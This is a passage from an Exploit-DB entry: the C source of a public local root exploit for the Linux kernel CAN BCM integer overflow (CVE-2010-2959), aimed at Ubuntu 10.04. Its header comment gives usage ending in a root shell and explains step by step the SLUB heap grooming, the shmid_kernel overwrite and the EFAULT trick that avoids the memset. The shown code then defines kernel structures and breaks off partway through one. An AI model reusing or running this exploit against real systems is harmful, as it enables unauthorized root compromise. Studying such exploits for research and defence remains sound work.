Exploit-DB #14814
Description: Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32) - 'CAN BCM' Local Privilege Escalation
Type: local
Platform: linux
Date: 2010-08-27
Author: Jon Oberheide

Exploit:
/*
 * i-CAN-haz-MODHARDEN.c
 *
 * Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * 
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2959
 *
 *   Ben Hawkes discovered an integer overflow in the Controller Area Network
 *   (CAN) subsystem when setting up frame content and filtering certain 
 *   messages. An attacker could send specially crafted CAN traffic to crash 
 *   the system or gain root privileges. 
 *
 * Usage:
 *
 *   $ gcc i-can-haz-modharden.c -o i-can-haz-modharden
 *   $ ./i-can-haz-modharden
 *   ...
 *   [+] launching root shell!
 *   # id
 *   uid=0(root) gid=0(root)
 *
 * Notes:
 *
 *   The allocation pattern of the CAN BCM module gives us some desirable 
 *   properties for smashing the SLUB. We control the kmalloc with a 16-byte
 *   granularity allowing us to place our allocation in the SLUB cache of our
 *   choosing (we'll use kmalloc-96 and smash a shmid_kernel struct for 
 *   old-times sake). The allocation can also be made in its own discrete 
 *   stage before the overwrite which allows us to be a bit more conservative 
 *   in ensuring the proper layout of our SLUB cache.
 *
 *   To exploit the vulnerability, we first create a BCM RX op with a crafted 
 *   nframes to trigger the integer overflow during the kmalloc. On the second
 *   call to update the existing RX op, we bypass the E2BIG check since the 
 *   stored nframes in the op is large, yet has an insufficiently sized 
 *   allocation associated with it. We then have a controlled write into the 
 *   adjacent shmid_kernel object in the 96-byte SLUB cache.
 *
 *   However, while we control the length of the SLUB overwrite via a 
 *   memcpy_fromiovec operation, there exists a memset operation that directly 
 *   follows which zeros out last_frames, likely an adjacent allocation, with 
 *   the same malformed length, effectively nullifying our shmid smash. To 
 *   work around this, we take advantage of the fact that copy_from_user can
 *   perform partial writes on x86 and trigger an EFAULT by setting up a 
 *   truncated memory mapping as the source for the memcpy_fromiovec operation,
 *   allowing us to smash the necessary amount of memory and then pop out and 
 *   return early before the memset operation occurs.
 *
 *   We then perform a dry-run and detect the shmid smash via an EIDRM errno 
 *   from shmat() caused by an invalid ipc_perm sequence number. Once we're 
 *   sure we have a shmid_kernel under our control we re-smash it with the 
 *   malformed version and redirect control flow to our credential modifying
 *   calls mapped in user space.
 *
 *   Distros: please use grsecurity's MODHARDEN or SELinux's module_request 
 *   to restrict unprivileged loading of uncommon packet families. Allowing
 *   the loading of poorly-written PF modules just adds a non-trivial and 
 *   unnecessary attack surface to the kernel. 
 *
 *   Targeted for 32-bit Ubuntu Lucid 10.04 (2.6.32-21-generic), but ports 
 *   easily to other vulnerable kernels/distros. Careful, it could use some 
 *   post-exploitation stability love as well.
 *
 *   Props to twiz, sgrakkyu, spender, qaaz, and anyone else I missed that 
 *   this exploit borrows code from.
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/stat.h>

#define SLUB "kmalloc-96"
#define ALLOCATION 96
#define FILLER 100

#ifndef PF_CAN
#define PF_CAN 29
#endif

#ifndef CAN_BCM
#define CAN_BCM 2
#endif

struct sockaddr_can {
	sa_family_t can_family;
	int can_ifindex;
	union {
		struct { uint32_t rx_id, tx_id; } tp;
	} can_addr;
};

struct can_frame {
	uint32_t can_id;
	uint8_t can_dlc;
	uint8_t data[8] __attribute__((aligned(8)));
};

struct bcm_msg_head {
	uint32_t opcode;
	uint32_t flags;
	uint32_t count;
	struct timeval ival1, ival2;
	uint32_t can_id;
	uint32_t nframes;
	struct can_frame frames[0];
};

#define RX_SETUP 5
#define RX_DELETE 6
#define CFSIZ sizeof(struct can_frame)
#define MHSIZ sizeof(struct bcm_msg_head)
#define IPCMNI 32768
#define	EIDRM 43
#define HDRLEN_KMALLOC 8

struct list_head {
	struct list_head *next;
	struct list_head *prev;
};

struct super_block {
	struct list_head s_list;
	unsigned int s_dev;
	unsigned long s_blocksize;
	unsigned char s_blocksize_bits;
	unsigned char s_dirt;
	uint64_t s_maxbytes;
	void *s_type;
	void *s_op;
	void *dq_op;
	void *s_qcop;
	void *s_export_op;
	unsigned long s_flags;
} super_block;

struct mutex {
	unsigned int count;
	unsigned int wait_lock;
	struct list_head wait_list;
	void *owner;
};

struct inode {
	struct list_head i_hash;
	struct list_head i_list;
	struct list_head i_sb_list;
	struct list_head i_dentry_list;
	unsigned long i_ino;
	unsigned int i_count;
	unsigned int i_nlink;
	unsigned int i_uid;
	unsigned int i_gid;
	unsigned int i_rdev;
	uint64_t i_version;
	uint64_t i_size;
	unsigned int i_size_seqcount;
	long i_atime_tv_sec;
	long i_atime_tv_nsec;
	long i_mtime_tv_sec;
	long i_mtime_tv_nsec;
	long i_ctime_tv_sec;
	long i_ctime_tv_nsec;
	uint64_t i_blocks;
	unsigned int i_blkbits;
	unsigned short i_bytes;
	unsigned short i_mode;
	unsigned int i_lock;
	struct mutex i_mutex;
	unsigned int i_alloc_sem_activity;
	unsigned int i_alloc_sem_wait_lock;
	struct list_head i_alloc_sem_wait_list;
	void *i_op;
	void *i_fop;
	struct super_block *i_sb;
	void *i_flock;
	void *i_mapping;
	char i_data[84];
	void *i_dquot_1;
	void *i_dquot_2;
	struct list_head i_devices;
	void *i_pipe_union;
	unsigned int i_generation;
	unsigned int i_fsnotify_mask;